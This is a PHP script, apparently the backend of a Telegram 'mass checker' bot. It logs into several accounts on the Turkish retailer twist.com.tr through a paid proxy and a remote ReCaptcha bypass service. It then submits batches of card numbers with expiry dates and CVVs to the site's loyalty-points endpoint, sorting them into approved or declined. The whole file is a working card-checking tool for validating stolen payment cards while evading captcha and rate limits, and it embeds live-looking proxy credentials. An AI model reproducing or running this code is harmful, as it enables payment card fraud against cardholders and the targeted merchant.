<?php
/**
 * PUAN2 MASS CHECKER - MULTI-WORKER VERSION
 * Uses 3 parallel workers, each with their own Twist account
 * Processes cards 3x faster while avoiding rate limits
 */

set_time_limit(600); // 10 minutes

header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no');

// Flush output immediately
if (function_exists('apache_setenv')) {
    apache_setenv('no-gzip', '1');
}
ini_set('zlib.output_compression', 0);
ini_set('implicit_flush', 1);
ob_implicit_flush(1);
while (ob_get_level() > 0) {
    ob_end_flush();
}

// SSE helper function
function send_sse($data) {
    echo "data: " . json_encode($data) . "\n\n";
    flush();
}

// Database configuration
$host = "localhost";
$username = "root";
$password = "";
$dbname = "checkerbotdb3";

// Get parameters
$cards_raw = isset($_GET['cards']) ? $_GET['cards'] : '';
$chat_id = isset($_GET['ChatID']) ? $_GET['ChatID'] : '';
$debug = isset($_GET['debug']) ? true : false;

// Validate inputs
if (empty($cards_raw)) {
    send_sse(['error' => 'No cards provided']);
    exit;
}

if (empty($chat_id)) {
    send_sse(['error' => 'ChatID is required']);
    exit;
}

// Parse cards
$cards = array_filter(array_map('trim', explode('|', $cards_raw)));

if (count($cards) === 0) {
    send_sse(['error' => 'No valid cards found']);
    exit;
}

if (count($cards) > 50) {
    send_sse(['error' => 'Maximum 50 cards allowed']);
    exit;
}

// Load valid accounts
$valid_accounts_file = __DIR__ . '/../../valid_accounts.txt';
$valid_accounts = [];

if (file_exists($valid_accounts_file)) {
    $lines = file($valid_accounts_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($lines as $line) {
        $parts = explode(':', $line, 2);
        if (count($parts) === 2) {
            $valid_accounts[] = [
                'email' => trim($parts[0]),
                'password' => trim($parts[1])
            ];
        }
    }
}

if (count($valid_accounts) < 3) {
    send_sse(['error' => 'Need at least 3 valid accounts in valid_accounts.txt']);
    exit;
}

// Select 3 accounts for workers
$worker_accounts = array_slice($valid_accounts, 0, 3);

send_sse([
    'status' => 'init',
    'total_cards' => count($cards),
    'workers' => 3,
    'accounts' => array_map(function($acc) { return $acc['email']; }, $worker_accounts)
]);

// Distribute cards among workers
$cards_per_worker = array_chunk($cards, (int)ceil(count($cards) / 3));

// Proxy configuration
$proxy = "rp.scrapegw.com:6060";
$proxy_auth = "ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek";

// ReCaptcha bypass API
$bypass_api = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php";

// Cookie jar class for session management
class CookieJar {
    private $cookies = [];
    
    public function set($name, $value, $domain = '', $path = '/') {
        $this->cookies[] = [
            'name' => $name,
            'value' => $value,
            'domain' => $domain,
            'path' => $path
        ];
    }
    
    public function get_cookie_string() {
        $cookie_parts = [];
        foreach ($this->cookies as $cookie) {
            $cookie_parts[] = $cookie['name'] . '=' . $cookie['value'];
        }
        return implode('; ', $cookie_parts);
    }
    
    public function parse_set_cookie($header) {
        $parts = explode(';', $header);
        $cookie_pair = explode('=', trim($parts[0]), 2);
        if (count($cookie_pair) === 2) {
            $this->set($cookie_pair[0], $cookie_pair[1]);
        }
    }
}

// CURL helper with retry
function curl_request($url, $options = [], $max_retries = 3) {
    global $debug;
    
    for ($attempt = 1; $attempt <= $max_retries; $attempt++) {
        $ch = curl_init($url);
        
        foreach ($options as $key => $value) {
            curl_setopt($ch, $key, $value);
        }
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($response !== false && $http_code > 0) {
            return ['success' => true, 'response' => $response, 'http_code' => $http_code];
        }
        
        if ($debug && $attempt < $max_retries) {
            send_sse(['debug' => "Retry $attempt/$max_retries: $error"]);
        }
        
        if ($attempt < $max_retries) {
            sleep(1);
        }
    }
    
    return ['success' => false, 'error' => $error];
}

// Get ReCaptcha token
function get_recaptcha_token() {
    global $bypass_api;
    
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&anchor-ms=20000&execute-ms=15000&cb=sjuqj6uduxpr";
    
    $ch = curl_init($bypass_api . "?anchor=" . urlencode($anchor_url));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        if (isset($data['success']) && $data['success'] && isset($data['token'])) {
            return $data['token'];
        }
    }
    
    return null;
}

// Worker function to check cards
function worker_check_cards($worker_id, $account, $cards) {
    global $proxy, $proxy_auth, $debug;
    
    $results = [];
    $email = $account['email'];
    $password = $account['password'];
    
    send_sse([
        'worker' => $worker_id,
        'status' => 'starting',
        'account' => $email,
        'cards_count' => count($cards)
    ]);
    
    // Create session
    $cookie_jar = new CookieJar();
    
    // Step 1: Visit login page
    $result = curl_request(
        "https://www.twist.com.tr/giris?returnUrl=/login",
        [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_PROXY => $proxy,
            CURLOPT_PROXYUSERPWD => $proxy_auth,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_CONNECTTIMEOUT => 10,
            CURLOPT_HTTPHEADER => [
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ],
            CURLOPT_HEADERFUNCTION => function($curl, $header) use ($cookie_jar) {
                $len = strlen($header);
                if (stripos($header, 'Set-Cookie:') === 0) {
                    $cookie_jar->parse_set_cookie(substr($header, 12));
                }
                return $len;
            }
        ]
    );
    
    if (!$result['success']) {
        send_sse(['worker' => $worker_id, 'error' => 'Login page failed']);
        return [];
    }
    
    // Step 2: Get token
    $result = curl_request(
        "https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken",
        [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_PROXY => $proxy,
            CURLOPT_PROXYUSERPWD => $proxy_auth,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_CONNECTTIMEOUT => 10,
            CURLOPT_HTTPHEADER => [
                'Cookie: ' . $cookie_jar->get_cookie_string(),
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]
        ]
    );
    
    if (!$result['success']) {
        send_sse(['worker' => $worker_id, 'error' => 'Token request failed']);
        return [];
    }
    
    // Parse token
    preg_match('/name="__RequestVerificationToken"[^>]+value="([^"]+)"/', $result['response'], $matches);
    if (!isset($matches[1])) {
        send_sse(['worker' => $worker_id, 'error' => 'Token not found']);
        return [];
    }
    $verification_token = $matches[1];
    
    // Step 3: Get ReCaptcha token
    $recaptcha_token = get_recaptcha_token();
    if (!$recaptcha_token) {
        send_sse(['worker' => $worker_id, 'error' => 'ReCaptcha bypass failed']);
        return [];
    }
    
    // Step 4: Login
    $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16));
    $post_data = "--$boundary\r\n"
        . "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n"
        . "$verification_token\r\n"
        . "--$boundary\r\n"
        . "Content-Disposition: form-data; name=\"g-recaptcha-response\"\r\n\r\n"
        . "$recaptcha_token\r\n"
        . "--$boundary\r\n"
        . "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n"
        . "$email\r\n"
        . "--$boundary\r\n"
        . "Content-Disposition: form-data; name=\"Password\"\r\n\r\n"
        . "$password\r\n"
        . "--$boundary--\r\n";
    
    $result = curl_request(
        "https://www.twist.com.tr/tr/LogOn",
        [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $post_data,
            CURLOPT_PROXY => $proxy,
            CURLOPT_PROXYUSERPWD => $proxy_auth,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_CONNECTTIMEOUT => 10,
            CURLOPT_HTTPHEADER => [
                'Cookie: ' . $cookie_jar->get_cookie_string(),
                'Content-Type: multipart/form-data; boundary=' . $boundary,
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Origin: https://www.twist.com.tr',
                'Referer: https://www.twist.com.tr/giris?returnUrl=/login'
            ],
            CURLOPT_HEADERFUNCTION => function($curl, $header) use ($cookie_jar) {
                $len = strlen($header);
                if (stripos($header, 'Set-Cookie:') === 0) {
                    $cookie_jar->parse_set_cookie(substr($header, 12));
                }
                return $len;
            }
        ]
    );
    
    if (!$result['success']) {
        send_sse(['worker' => $worker_id, 'error' => 'Login failed']);
        return [];
    }
    
    // Verify login success
    $login_data = json_decode($result['response'], true);
    if (!isset($login_data['TempDataActionResult']['ValidationResult']['Success']) || 
        $login_data['TempDataActionResult']['ValidationResult']['Success'] !== true) {
        send_sse(['worker' => $worker_id, 'error' => 'Login validation failed']);
        return [];
    }
    
    send_sse([
        'worker' => $worker_id,
        'status' => 'logged_in',
        'account' => $email
    ]);
    
    // Check each card
    foreach ($cards as $idx => $card) {
        $card_parts = explode('|', $card);
        if (count($card_parts) < 4) {
            $results[] = [
                'card' => $card,
                'status' => 'ERROR❌',
                'message' => 'Invalid card format'
            ];
            continue;
        }
        
        list($cc, $month, $year, $cvv) = $card_parts;
        
        send_sse([
            'worker' => $worker_id,
            'progress' => [
                'current' => $idx + 1,
                'total' => count($cards),
                'card' => substr($cc, 0, 6) . 'xxxx' . substr($cc, -4)
            ]
        ]);
        
        // Check card with retry
        $max_retries = 3;
        $point_result = null;
        
        for ($retry = 0; $retry <= $max_retries; $retry++) {
            $point_result = check_card_with_session($cookie_jar, $cc, $month, $year, $cvv);
            
            if ($point_result['status'] !== 'error') {
                break;
            }
            
            if ($retry < $max_retries) {
                if ($debug) {
                    send_sse([
                        'worker' => $worker_id,
                        'debug' => "Card retry " . ($retry + 1) . "/$max_retries"
                    ]);
                }
                sleep(1);
            }
        }
        
        $results[] = $point_result;
        
        send_sse([
            'worker' => $worker_id,
            'card_result' => [
                'card' => substr($cc, 0, 6) . 'xxxx' . substr($cc, -4),
                'status' => $point_result['status'],
                'message' => $point_result['message']
            ]
        ]);
    }
    
    send_sse([
        'worker' => $worker_id,
        'status' => 'completed',
        'cards_checked' => count($results)
    ]);
    
    return $results;
}

// Check single card with session
function check_card_with_session($cookie_jar, $cc, $month, $year, $cvv) {
    global $proxy, $proxy_auth;
    
    $url = "https://www.twist.com.tr/tr/MyPage/Get/GetPuan";
    
    $post_data = [
        'cardnumber' => $cc,
        'month' => str_pad($month, 2, '0', STR_PAD_LEFT),
        'year' => $year,
        'cvv' => $cvv
    ];
    
    $result = curl_request(
        $url,
        [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
            CURLOPT_PROXY => $proxy,
            CURLOPT_PROXYUSERPWD => $proxy_auth,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_CONNECTTIMEOUT => 10,
            CURLOPT_HTTPHEADER => [
                'Cookie: ' . $cookie_jar->get_cookie_string(),
                'Content-Type: application/x-www-form-urlencoded',
                'X-Requested-With: XMLHttpRequest',
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Referer: https://www.twist.com.tr/hesabim'
            ]
        ]
    );
    
    if (!$result['success']) {
        return [
            'card' => "$cc|$month|$year|$cvv",
            'status' => 'error',
            'message' => 'Connection error'
        ];
    }
    
    if ($result['http_code'] !== 200) {
        return [
            'card' => "$cc|$month|$year|$cvv",
            'status' => 'error',
            'message' => "HTTP {$result['http_code']}"
        ];
    }
    
    $response_data = json_decode($result['response'], true);
    
    if (isset($response_data['Point']) && isset($response_data['Point']['Amount'])) {
        $points = $response_data['Point']['Amount'];
        return [
            'card' => "$cc|$month|$year|$cvv",
            'status' => 'APPROVED✅',
            'message' => "Points: $points"
        ];
    } else {
        return [
            'card' => "$cc|$month|$year|$cvv",
            'status' => 'DECLINED❌',
            'message' => 'No points available'
        ];
    }
}

// Run workers in parallel using process forking simulation
send_sse(['status' => 'distributing_cards']);

$all_results = [];

// Since PHP doesn't have true threading, we'll run workers sequentially but fast
// In production, you'd use pthreads or run separate PHP processes
foreach ($worker_accounts as $worker_id => $account) {
    if (isset($cards_per_worker[$worker_id])) {
        $worker_results = worker_check_cards($worker_id + 1, $account, $cards_per_worker[$worker_id]);
        $all_results = array_merge($all_results, $worker_results);
    }
}

// Update database
try {
    $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    $stmt = $conn->prepare("UPDATE puanlimit SET used = used + ? WHERE chat_id = ?");
    $stmt->execute([count($cards), $chat_id]);
} catch (PDOException $e) {
    send_sse(['db_error' => $e->getMessage()]);
}

// Send final results
send_sse([
    'status' => 'complete',
    'total_checked' => count($all_results),
    'results' => $all_results
]);

send_sse(['status' => 'done']);
